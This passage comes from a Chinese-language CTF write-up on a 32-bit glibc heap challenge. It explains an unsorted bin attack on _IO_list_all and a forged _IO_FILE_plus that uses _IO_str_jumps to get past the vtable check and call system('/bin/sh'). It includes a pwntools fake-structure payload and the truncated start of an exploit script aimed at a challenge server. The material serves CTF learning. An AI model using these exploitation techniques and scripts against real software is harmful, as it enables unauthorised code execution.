class="literal">NULL</span>; fp = fp-&gt;_chain)</span><br><span class="line">    &#123;</span><br><span class="line">      run_fp = fp;</span><br><span class="line">      <span class="keyword">if</span> (do_lock)</span><br><span class="line">        _IO_flockfile (fp);</span><br><span class="line">      <span class="keyword">if</span> (((fp-&gt;_mode &lt;= <span class="number">0</span> &amp;&amp; fp-&gt;_IO_write_ptr &gt; fp-&gt;_IO_write_base)</span><br><span class="line">           || (_IO_vtable_offset (fp) == <span class="number">0</span></span><br><span class="line">               &amp;&amp; fp-&gt;_mode &gt; <span class="number">0</span> &amp;&amp; (fp-&gt;_wide_data-&gt;_IO_write_ptr</span><br><span class="line">                                    &gt; fp-&gt;_wide_data-&gt;_IO_write_base))</span><br><span class="line">           )</span><br><span class="line">          &amp;&amp; _IO_OVERFLOW (fp, EOF) == EOF)</span><br><span class="line">        result = EOF;</span><br><span class="line">      <span class="keyword">if</span> (do_lock)</span><br><span class="line">        _IO_funlockfile (fp);</span><br><span class="line">      run_fp = <span class="literal">NULL</span>;</span><br><span class="line">    &#125;</span><br><span class="line"><span class="meta">#<span class="keyword">ifdef</span> _IO_MTSAFE_IO</span></span><br><span class="line">  _IO_lock_unlock (list_all_lock);</span><br><span class="line">  _IO_cleanup_region_end (<span class="number">0</span>);</span><br><span class="line"><span class="meta">#<span class="keyword">endif</span></span></span><br><span class="line">  <span class="keyword">return</span> result;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>函数是一个<code>flush</code>的过程，会调用fp指针中的<code>_IO_OVERFLOW_</code>宏指向的函数。<br>这个函数会在glibc检测到<code>memory corruption</code>的时候被调用。而且这个地方其实不一定要手动触发，如果程序触发了</p><ul><li>libc 执行了 abort</li><li>执行了exit函数</li><li>从main函数返回的时候</li></ul><p>都将调用这个函数。</p><p>所以这里的想法就是：通过unsorted bin attack，修改这个_IO_FILE的_chain指针的值，让它指向一个我们准备好的位置，从而实现攻击。</p><h3 id="unsorted-bin-attack">Unsorted bin attack</h3><p>我们首先看到malloc中，unsorted bin 在malloc时候的处理流程:</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">bck = victim-&gt;bk;</span><br><span class="line">...<span class="comment">// code about last remainder</span></span><br><span class="line"><span class="comment">/* remove from unsorted list */</span></span><br><span class="line">unsorted_chunks (av)-&gt;bk = bck;</span><br><span class="line">bck-&gt;fd = unsorted_chunks (av);</span><br></pre></td></tr></table></figure><p>发现其实在unsorted bin malloc的时候，程序没有检查当前是否发生了unlink，也就是说此时我们可以将<code>bck</code>修改成任意一个我们需要的地址，这样的话我们就能够让那个地址的fd偏移处(3*size_t)处变成当前的unsorted_chunks(av)(也就是main_arena中存储的unsorted binn的开始位置)</p><p>乍一看这个利用并没有什么用，毕竟我们给指定地址赋值为unsorted_bin(av)也没啥意义。这里有两种办法继续利用</p><ul><li>修改global_max_fast，从而让很大的堆块也能够变成fastbin，配合fastbin的攻击</li><li>修改<code>_IO_LIST_ALL</code></li></ul><p>这里介绍后面那种利用方式。当我们成功的让<code>_IO_LIST_ALL</code>指向了unsorted_bin(av)之后，此时如果我们去看这个FILE结构体的话，内容如下:<br><img src="/2018/08/31/pwnhub-old-chall/chall06.png" alt=""><br><em>疑问：为什么这个unsorted_bin(av)实际上表示的是真正的unsorted_bin的地址-0x10?</em></p><p><em>因为此时代码为了方便表示chunk，都是直接使用chunk结构体，则chunk-&gt;fd 和 chunk-&gt;bk 本身存在偏移，因此需要-0x10</em><br>所以这里我们可以知道，此时_chain正好会落到<code>smallbin[5]</code>的范围上。换句话说，如果这个时候我们有一个<strong>0x30</strong>大小的smallbin的话，那么这个bin的内容就可以用来作为一个伪造的FILE结构体。</p><h4 id="vtable的故事">vtable的故事</h4><p>由于在后来的版本中(libc &gt;= 2.24)中，会对vtable有一个检验:</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">/* Check if unknown vtable pointers are permitted; otherwise,</span></span><br><span class="line"><span class="comment">   terminate the process.  */</span></span><br><span class="line"><span class="type">void</span> _IO_vtable_check (<span class="type">void</span>) attribute_hidden;</span><br><span class="line"><span class="comment">/* Perform vtable pointer validation.  If validation fails, terminate</span></span><br><span class="line"><span class="comment">   the process.  */</span></span><br><span class="line"><span class="type">static</span> <span class="keyword">inline</span> <span class="type">const</span> <span class="keyword">struct</span> _IO_jump_t *</span><br><span class="line"><span class="title function_">IO_validate_vtable</span> <span class="params">(<span class="type">const</span> <span class="keyword">struct</span> _IO_jump_t *vtable)</span></span><br><span class="line">&#123;</span><br><span class="line">  <span class="comment">/* Fast path: The vtable pointer is within the __libc_IO_vtables</span></span><br><span class="line"><span class="comment">     section.  */</span></span><br><span class="line">  <span class="type">uintptr_t</span> section_length = __stop___libc_IO_vtables - __start___libc_IO_vtables;</span><br><span class="line">  <span class="type">uintptr_t</span> ptr = (<span class="type">uintptr_t</span>) vtable;</span><br><span class="line">  <span class="type">uintptr_t</span> offset = ptr - (<span class="type">uintptr_t</span>) __start___libc_IO_vtables;</span><br><span class="line">  <span class="keyword">if</span> (__glibc_unlikely (offset &gt;= section_length))</span><br><span class="line">    <span class="comment">/* The vtable pointer is not in the expected section.  Use the</span></span><br><span class="line"><span class="comment">       slow path, which will terminate the process if necessary.  */</span></span><br><span class="line">    _IO_vtable_check ();</span><br><span class="line">  <span class="keyword">return</span> vtable;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>根据我原来的办法，是让这个_vtable变为system之类的，这样的话就会不满足其地址在<code>[__start___libc_IO_vtables, __stop___libc_IO_vtables]</code>之间了。</p><p>所以这里我们也要试着学习一个新的姿势去绕过这个vtable的检测。这里根据大佬的教晦，我们可以使用<strong>一些已有的vtable进行攻击</strong>。这里使用的就是<code>_IO_str_jumps</code>。这个玩意儿也是一个<code>struct _IO_jump_t</code>结构体，并且这个结构体中的<code>_IO_OVERFLOW</code>有可以利用的地方。（虽然我找了源码，但是发现源码里面体现不出这些内容，于是我这里也模仿大佬用IDA来展示）<br><strong>由于题目是32bit的，所以以下的偏移仅适用于32bit</strong></p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">if</span> ( fp-&gt;_flags &amp; <span class="number">8</span> )</span><br><span class="line">  <span class="keyword">return</span> -!v3;</span><br><span class="line"><span class="keyword">if</span> ( (fp-&gt;_flags &amp; <span class="number">0xC00</span>) == <span class="number">0x400</span> )</span><br><span class="line">&#123;</span><br><span class="line">  BYTE1(v2) |= <span class="number">8u</span>;</span><br><span class="line">  v13 = fp-&gt;_IO_read_end;</span><br><span class="line">  fp-&gt;_flags = v2;</span><br><span class="line">  write_ptr = fp-&gt;_IO_read_ptr;</span><br><span class="line">  fp-&gt;_IO_read_ptr = v13;</span><br><span class="line">  fp-&gt;_IO_write_ptr = write_ptr;</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">else</span></span><br><span class="line">&#123;</span><br><span class="line">  write_ptr = fp-&gt;_IO_write_ptr;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>这里是flag的确定，为了防止程序陷入到这部分内容，我们可以简单的让flags为0，即可达到这个目的。<br>然后我们观察之后的逻辑:</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line">base = fp-&gt;_IO_buf_base;</span><br><span class="line">offset = fp-&gt;_IO_buf_end - base;</span><br><span class="line"><span class="keyword">if</span> ( write_ptr - fp-&gt;_IO_write_base &gt;= offset + v14 )</span><br><span class="line">&#123;</span><br><span class="line">  <span class="keyword">if</span> ( fp-&gt;_flags &amp; <span class="number">1</span> )</span><br><span class="line">    <span class="keyword">return</span> <span class="number">-1</span>;</span><br><span class="line">  v15 = <span class="number">2</span> * offset + <span class="number">100</span>;</span><br><span class="line">  v16 = (<span class="type">char</span> *)(fp-&gt;_IO_buf_end - base);</span><br><span class="line">  <span class="keyword">if</span> ( offset &gt; v15 )</span><br><span class="line">    <span class="keyword">return</span> <span class="number">-1</span>;</span><br><span class="line">  v8 = ((<span class="type">int</span> (__cdecl *)(<span class="type">unsigned</span> <span class="type">int</span>))fp[<span class="number">1</span>]._IO_read_ptr)(<span class="number">2</span> * offset + <span class="number">100</span>);</span><br></pre></td></tr></table></figure><p>可以看到，这里会调用一个在fp中的函数，我们看一下实际上是什么:<br><img src="/2018/08/31/pwnhub-old-chall/chall07.png" alt=""><br>可以看到，实际上这个地方call的是一个esi+0x98位置的变量。显然这个位置是我们<strong>可控</strong>的。同时我们通过设置<code>fp-&gt;_IO_buf_base</code>和<code>fp-&gt;_IO_buf_end</code>两个参数，就能够将参数的位置也确定下来。同时注意到，我们需要保证<code>write_ptr - fp -&gt;_IO_write_base &gt;= offset</code>，才能够进入调用流程。<br>然后，根据大佬的博客，我们有一些内容是需要主动绕过的，比如说lock参数需要一个指向0的指针地址，我们可以随便从代码中找到。同时，为了能够保证进入到<code>_IO_OVERFLOW</code>的逻辑里面，我们需要绕过另一个处限制:</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">int</span></span><br><span class="line">_IO_flush_all_lockp (<span class="type">int</span> do_lock)</span><br><span class="line">&#123;</span><br><span class="line">  <span class="type">int</span> result = <span class="number">0</span>;</span><br><span class="line">  FILE *fp;</span><br><span class="line"></span><br><span class="line"><span class="meta">#<span class="keyword">ifdef</span> _IO_MTSAFE_IO</span></span><br><span class="line">  _IO_cleanup_region_start_noarg (flush_cleanup);</span><br><span class="line">  _IO_lock_lock (list_all_lock);</span><br><span class="line"><span class="meta">#<span class="keyword">endif</span></span></span><br><span class="line"></span><br><span class="line">  <span class="keyword">for</span> (fp = (FILE *) _IO_list_all; fp != <span class="literal">NULL</span>; fp = fp-&gt;_chain)</span><br><span class="line">    &#123;</span><br><span class="line">      run_fp = fp;</span><br><span class="line">      <span class="keyword">if</span> (do_lock)</span><br><span class="line">_IO_flockfile (fp);</span><br><span class="line"></span><br><span class="line"><span class="comment">// 关注这里</span></span><br><span class="line">      <span class="keyword">if</span> (((fp-&gt;_mode &lt;= <span class="number">0</span> &amp;&amp; fp-&gt;_IO_write_ptr &gt; fp-&gt;_IO_write_base)</span><br><span class="line">   || (_IO_vtable_offset (fp) == <span class="number">0</span></span><br><span class="line">       &amp;&amp; fp-&gt;_mode &gt; <span class="number">0</span> &amp;&amp; (fp-&gt;_wide_data-&gt;_IO_write_ptr</span><br><span class="line">    &gt; fp-&gt;_wide_data-&gt;_IO_write_base))</span><br><span class="line">   )</span><br><span class="line">  &amp;&amp; _IO_OVERFLOW (fp, EOF) == EOF)</span><br></pre></td></tr></table></figure><p>这里可以看到，为了进入这个<code>_IO_OVERFLOW</code>函数，我们需要让结构体中的<code>_mode</code>为-1，并且<code>_IO_wrie_ptr</code>要大于<code>_IO_write_base</code>。<br>接下来就是设置vtale和对应的函数地址即可。经过计算发现，此时的vtable+4的位置就是我们需要构造的函数地址，则我们需要伪造的堆大概如下:</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line">fake_bin = p32(<span class="number">0</span>)<span class="comment"># flags</span></span><br><span class="line">fake_bin += <span class="string">&#x27;DEAD&#x27;</span> * <span class="number">3</span> <span class="comment"># read*</span></span><br><span class="line">fake_bin += <span class="string">&#x27;DEAD&#x27;</span> * <span class="number">1</span><span class="comment"># write</span></span><br><span class="line">fake_bin += p32(bin_sh)<span class="comment"># bypass check write_ptr - fp....</span></span><br><span class="line">fake_bin += p32(<span class="number">0</span>)<span class="comment"># buf start</span></span><br><span class="line">fake_bin += p32((bin_sh- <span class="number">100</span>)/<span class="number">2</span>)<span class="comment"># buf end</span></span><br><span class="line">fake_bin += <span class="string">&#x27;\x00&#x27;</span> * (<span class="number">0x48</span> - <span class="built_in">len</span>(fake_bin))</span><br><span class="line">fake_bin += p32(null_ptr)<span class="comment"># lock </span></span><br><span class="line">fake_bin += <span class="string">&#x27;\x11&#x27;</span> * (<span class="number">0x68</span> - <span class="built_in">len</span>(fake_bin))</span><br><span class="line">fake_bin += p32(-<span class="number">1</span>)<span class="comment"># mode</span></span><br><span class="line">fake_bin += <span class="string">&#x27;\x00&#x27;</span> * (<span class="number">0x94</span> - <span class="built_in">len</span>(fake_bin))</span><br><span class="line">fake_bin += p32(vtable)<span class="comment"># vtable_to_IO_str_jumps</span></span><br><span class="line">fake_bin += p32(system_addr)<span class="comment"># system_address</span></span><br></pre></td></tr></table></figure><p>然而这个题目最最最最头疼的地方就在这里。。。在每次我们申请堆块的时候，都会伴随的<strong>申请一个0x30</strong>的堆块！也就是说，我们必须保证伪造smallbin的时刻，有足够的fastbin(0x30)用于我们unsorted bin attack攻击。这个地方非常头疼。我最后参考了一个大佬的exp，发现这个题目关键的一个点就是，<strong>完成smallbin构造后，每次allocate chunk之前，我们要保证delete一个chunk，这样就能够满足每次都有fastbin以防smallbin被name给抢走</strong></p><h3 id="pwn">Pwn</h3><p>之后的逻辑有点长。。。参考大佬的做法，首先申请了3个0x10大的chunk，此时观测堆中情况如图<br><img src="/2018/08/31/pwnhub-old-chall/chall09.png" alt=""><br>这三个chunk我们之后都会用到，标记位1，2，3。接下来我们进行伪造small bin的工作</p><h4 id="fake-small-bin">fake small bin</h4><p>我们可以看到，一个假的<code>_IO_FILE_plus</code>结构体(fake_bin)需要用到0x98的大小，这个大小显然不等于smallbin[5]，所以我们需要通过<strong>伪造 chunk size</strong>，让一个本身很大的<code>unsorted bin </code>变小，才能够实现伪造。<br>大致步骤如下:</p><ul><li>申请一个大的chunk（0xf0）同时前0x50个字节写padding，之后的位置写fake_bin</li><li>将这个chunk overlap ，修改它的大小为0x80</li><li>申请0x50大小的unsorted bin。由于之后需要overlap到当前堆，所以堆上需要伪造两个堆头(overlap chunk的size，写在prev_size，以及当前伪造堆的堆头chunk，以及这个fake chunk的nextchunk的prevsize 和 size)</li></ul><p>这样，我们就会剩下一个&quot;0x30&quot;大小的unsorted bin，并且有完整的<code>_IO_FILE_plus</code>结构体。之后我么们申请一个大一点的堆块，就能够让这个0x30的堆块落入到unsorted bin 中</p><p>*调试技巧：gdb中，print <em>结构体名 指针 可强行将当前指针指向的地址作为结构体解析</em><br><img src="/2018/08/31/pwnhub-old-chall/chall10.png" alt=""></p><h4 id="unsorted-bin-attack">unsorted bin attack</h4><p>这边我们用到前两个堆块，并且还要用到之前提到的0x50的堆（这个堆的大小超过fasatbin，能够落入到unsorted bin中，这点很重要）<br>我们遵循先free在allocated的原则就能够保证此时不会将之前的smallbin浪费。同时我们要记得，unsorted bin 是FIFO，所以此时为了不让攻击失败（基本上 off one byte的时候都会让chunk落入到unsorted bin），所以我们free的顺序非常关键，一定是<strong>先free攻击堆块，后free 0x50这个用来触发main_arena的堆块</strong></p><p>这里的逻辑如下:</p><ul><li>通过堆块1，修改堆块2的大小为0xe0</li><li>此时free堆块2，并且紧接着free掉之前的0x50，然后分配0xe0。如果此时之前在<strong>fake small bin</strong>的时候伪造的头部没问题的话，此时就能复写bk指针，完成攻击！</li></ul><p>由于此时的bk已经被破坏，下一次malloc堆块的时候就会因为无法通过检测，进入<code>_malloc_printerr</code>,从而触发<code>_IO_flush_all_lockp</code>，完成getshell！</p><p><img src="/2018/08/31/pwnhub-old-chall/chall08.png" alt=""></p><h2 id="总结">总结</h2><h3 id="关于heap">关于heap</h3><ul><li>free一个堆的时候，会检测当前堆的prev和next chunk，尤其是next chunk。需要准备一个prev size，size(inuse)和当前size chunk的prev size</li><li>overlap一个堆的时候，我们应该作为<strong>当前如果系统这么分配堆的话，其前后应当是什么样子</strong>来考虑。比如head，已经对应的fd，bk等</li><li>unsorted bin attack 在 32bit 下的时候应当准备的是smallbin[5]，而64bit的才是准备smallbin[4]。根本原因在于<code>_IO_FILE_plus</code>的结构体元素在64bit下和32bit下大小一致。</li></ul><h3 id="关于pwn">关于pwn</h3><ul><li>pwn不能瞎调试。。不能瞎调试。。不能瞎调试。。</li><li>做题目之前要想清楚自己的payload，包括每一个offset的具体位置</li><li>如果需要的话就要调试，包括libc.so里面的那些</li></ul><h3 id="misc">MISC</h3><ul><li>每一次做pwnhub的题目都要熬夜太伤身体了</li><li>居然有大佬一天内做出来太变态了吧。。。</li><li>花了太多时间的根本原因在于不清楚攻击的具体形式，导致一知半解的调试，浪费很多的时间。比如_IO_FILE_plus的结构体构造。其实应该试着写一个c程序看了一下当前的FILE结构体到底应该是什么样子，会减少很多调试的时间</li></ul><h2 id="exp">exp</h2><p>实在是没力气部署调试远程了。。。就放个本地的吧</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br><span class="line">130</span><br><span class="line">131</span><br><span class="line">132</span><br><span class="line">133</span><br><span class="line">134</span><br><span class="line">135</span><br><span class="line">136</span><br><span class="line">137</span><br><span class="line">138</span><br><span class="line">139</span><br><span class="line">140</span><br><span class="line">141</span><br><span class="line">142</span><br><span class="line">143</span><br><span class="line">144</span><br><span class="line">145</span><br><span class="line">146</span><br><span class="line">147</span><br><span class="line">148</span><br><span class="line">149</span><br><span class="line">150</span><br><span class="line">151</span><br><span class="line">152</span><br><span class="line">153</span><br><span class="line">154</span><br><span class="line">155</span><br><span class="line">156</span><br><span class="line">157</span><br><span class="line">158</span><br><span class="line">159</span><br><span class="line">160</span><br><span class="line">161</span><br><span class="line">162</span><br><span class="line">163</span><br><span class="line">164</span><br><span class="line">165</span><br><span class="line">166</span><br><span class="line">167</span><br><span class="line">168</span><br><span class="line">169</span><br><span class="line">170</span><br><span class="line">171</span><br><span class="line">172</span><br><span class="line">173</span><br><span class="line">174</span><br><span class="line">175</span><br><span class="line">176</span><br><span class="line">177</span><br><span class="line">178</span><br><span class="line">179</span><br><span class="line">180</span><br><span class="line">181</span><br><span class="line">182</span><br><span class="line">183</span><br><span class="line">184</span><br><span class="line">185</span><br><span class="line">186</span><br><span class="line">187</span><br><span class="line">188</span><br><span class="line">189</span><br><span class="line">190</span><br><span class="line">191</span><br><span class="line">192</span><br><span class="line">193</span><br><span class="line">194</span><br><span class="line">195</span><br><span class="line">196</span><br><span class="line">197</span><br><span class="line">198</span><br><span class="line">199</span><br><span class="line">200</span><br><span class="line">201</span><br><span class="line">202</span><br><span class="line">203</span><br><span class="line">204</span><br><span class="line">205</span><br><span class="line">206</span><br><span class="line">207</span><br><span class="line">208</span><br><span class="line">209</span><br><span class="line">210</span><br><span class="line">211</span><br><span class="line">212</span><br><span class="line">213</span><br><span class="line">214</span><br><span class="line">215</span><br><span class="line">216</span><br><span class="line">217</span><br><span class="line">218</span><br><span class="line">219</span><br><span class="line">220</span><br><span class="line">221</span><br><span class="line">222</span><br><span class="line">223</span><br><span class="line">224</span><br><span class="line">225</span><br><span class="line">226</span><br><span class="line">227</span><br><span class="line">228</span><br><span class="line">229</span><br><span class="line">230</span><br><span class="line">231</span><br><span class="line">232</span><br><span class="line">233</span><br><span class="line">234</span><br><span class="line">235</span><br><span class="line">236</span><br><span class="line">237</span><br><span class="line">238</span><br><span class="line">239</span><br><span class="line">240</span><br><span class="line">241</span><br><span class="line">242</span><br><span class="line">243</span><br><span class="line">244</span><br><span class="line">245</span><br><span class="line">246</span><br><span class="line">247</span><br><span class="line">248</span><br><span class="line">249</span><br><span class="line">250</span><br><span class="line">251</span><br><span class="line">252</span><br><span class="line">253</span><br><span class="line">254</span><br><span class="line">255</span><br><span class="line">256</span><br><span class="line">257</span><br><span class="line">258</span><br><span class="line">259</span><br><span class="line">260</span><br><span class="line">261</span><br><span class="line">262</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">#   -*- coding:utf-8    -*-</span></span><br><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"></span><br><span class="line">DEBUG = <span class="literal">True</span></span><br><span class="line"></span><br><span class="line">count = <span class="number">0</span></span><br><span class="line"><span class="keyword">if</span> DEBUG:</span><br><span class="line">    ph = process(<span class="string">&quot;./chall&quot;</span>)</span><br><span class="line">    <span class="comment">#context.log_level = &#x27;debug&#x27;</span></span><br><span class="line">    <span class="comment">#context.terminal = [&#x27;tmux&#x27;, &#x27;splitw&#x27;,&#x27;-h&#x27;]</span></span><br><span class="line">    <span class="comment"># gdb.attach(ph, &quot;break *0x08048922&quot;)</span></span><br><span class="line">    <span class="comment">#gdb.attach(ph)</span></span><br><span class="line"></span><br><span class="line">    null_ptr = <span class="number">0x0804b080</span></span><br><span class="line">    main_arena = <span class="number">0x1a9420</span></span><br><span class="line">    malloc_hook = <span class="number">0x1a9408</span></span><br><span class="line">    system = <span class="number">0x40310</span></span><br><span class="line">    bin_addr = <span class="number">0x162d4c</span></span><br><span class="line"></span><br><span class="line">    IO_list_all_addr = <span class="number">0x1ad940</span></span><br><span class="line">    IO_str_jumps = <span class="number">0x1acb00</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">else</span>:</span><br><span class="line">    ph = remote(<span class="string">&quot;59.110.167.41&quot;</span>, <span class="number">31339</span>)</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">add_letter</span>(<span class="params">ph, size, cont, to</span>):</span><br><span class="line"></span><br><span class="line">    <span class="keyword">global</span> count</span><br><span class="line">    <span class="built_in">print</span> ph.recvuntil(<span class="string">&quot;Select:&quot;</span>)</span><br><span class="line">    ph.sendline(<span class="string">&quot;1&quot;</span>)</span><br><span class="line">    <span class="built_in">print</span> ph.recvuntil(<span class="string">&quot;Size:&quot;</span>)</span><br><span class="line">    ph.sendline(<span class="built_in">str</span>(size))</span><br><span class="line">    <span class="built_in">print</span> ph.recvuntil(<span class="string">&quot;Content:&quot;</span>)</span><br><span class="line">    ph.sendline(cont)</span><br><span class="line">    <span class="built_in">print</span> ph.recvuntil(<span class="string">&quot;To:&quot;</span>)</span><br><span class="line">    ph.sendline(to)</span><br><span class="line">    count += <span class="number">1</span></span><br><span class="line">    <span class="built_in">print</span>(<span class="string">&quot;==================== &#123;&#125; ==================&quot;</span>.<span class="built_in">format</span>(count))</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">check_letter</span>(<span class="params">ph</span>):</span><br><span class="line">    ph.recvuntil(<span class="string">&quot;Select:&quot;</span>)</span><br><span class="line">    ph.sendline(<span class="string">&quot;2&quot;</span>)</span><br><span class="line">    msg = ph.recvuntil(<span class="string">&quot;------&quot;</span>)</span><br><span class="line">    <span class="keyword">return</span> msg</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">delete_letter</span>(<span class="params">ph, index</span>):</span><br><span class="line">    ph.recvuntil(<span class="string">&quot;Select:&quot;</span>)</span><br><span class="line">    ph.sendline(<span class="string">&quot;3&quot;</span>)</span><br><span class="line">    ph.recvuntil(<span class="string">&quot;Index&quot;</span>)</span><br><span class="line">    ph.sendline(<span class="built_in">str</span>(index))</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">leak</span>():</span><br><span class="line">    <span class="comment"># we try to allocate 20 chunk(may all be 0x2c)? then at the 21 the realloc will allocate new chunk 0x58</span></span><br><span class="line">    <span class="comment"># and the old one would be unsorted bin(? now we checkout)</span></span><br><span class="line">    <span class="comment"># TARGET: </span></span><br><span class="line">    <span class="comment"># (1) checkout the 18 chunk can allocate a 0x64 letters_array</span></span><br><span class="line">    <span class="comment"># (2) delete 18, allocate 19 so that we can edit the header, we change it into 0x31</span></span><br><span class="line">    <span class="comment"># (3) we allocate the 20th chunk, we give huge chunk so that letter will get  the 0x31 chunk</span></span><br><span class="line">    <span class="comment"># (4) try to print address of the chunk</span></span><br><span class="line"></span><br><span class="line">    padding = <span class="string">&quot;C&quot;</span> * <span class="number">0x16</span></span><br><span class="line">    to = <span class="string">&quot;B&quot;</span>*<span class="number">0x1e</span></span><br><span class="line">    <span class="string">&quot;&quot;&quot;</span></span><br><span class="line"><span class="string">    target = 20</span></span><br><span class="line"><span class="string">    for i in range(16):</span></span><br><span class="line"><span class="string">        add_letter(ph, 0x2c, padding, to)</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">    print check_letter(ph)</span></span><br><span class="line"><span class="string">    delete_letter(ph, 15)</span></span><br><span class="line"><span class="string">    </span></span><br><span class="line"><span class="string">    exp_to = to +&#x27;\x31&#x27;</span></span><br><span class="line"><span class="string">    add_letter(ph, 0x80, padding ,exp_to)</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">    # now we checkout</span></span><br><span class="line"><span class="string">    raw_input(&quot;now try to checkout bin &quot;)</span></span><br><span class="line"><span class="string">    add_letter(ph ,0x2c, padding, to)</span></span><br><span class="line"><span class="string">    raw_input(&quot;Checkout array bins has been edited&quot;)</span></span><br><span class="line"><span class="string">    add_letter(ph, 0x10, padding, to +&#x27;B&#x27;)</span></span><br><span class="line"><span class="string">    raw_input(&quot;Checkout that the letter can print heap address?&quot;)</span></span><br><span class="line"><span class="string">    &quot;&quot;&quot;</span></span><br><span class="line">    add_letter(ph, <span class="number">0x80</span>, padding, to)</span><br><span class="line">    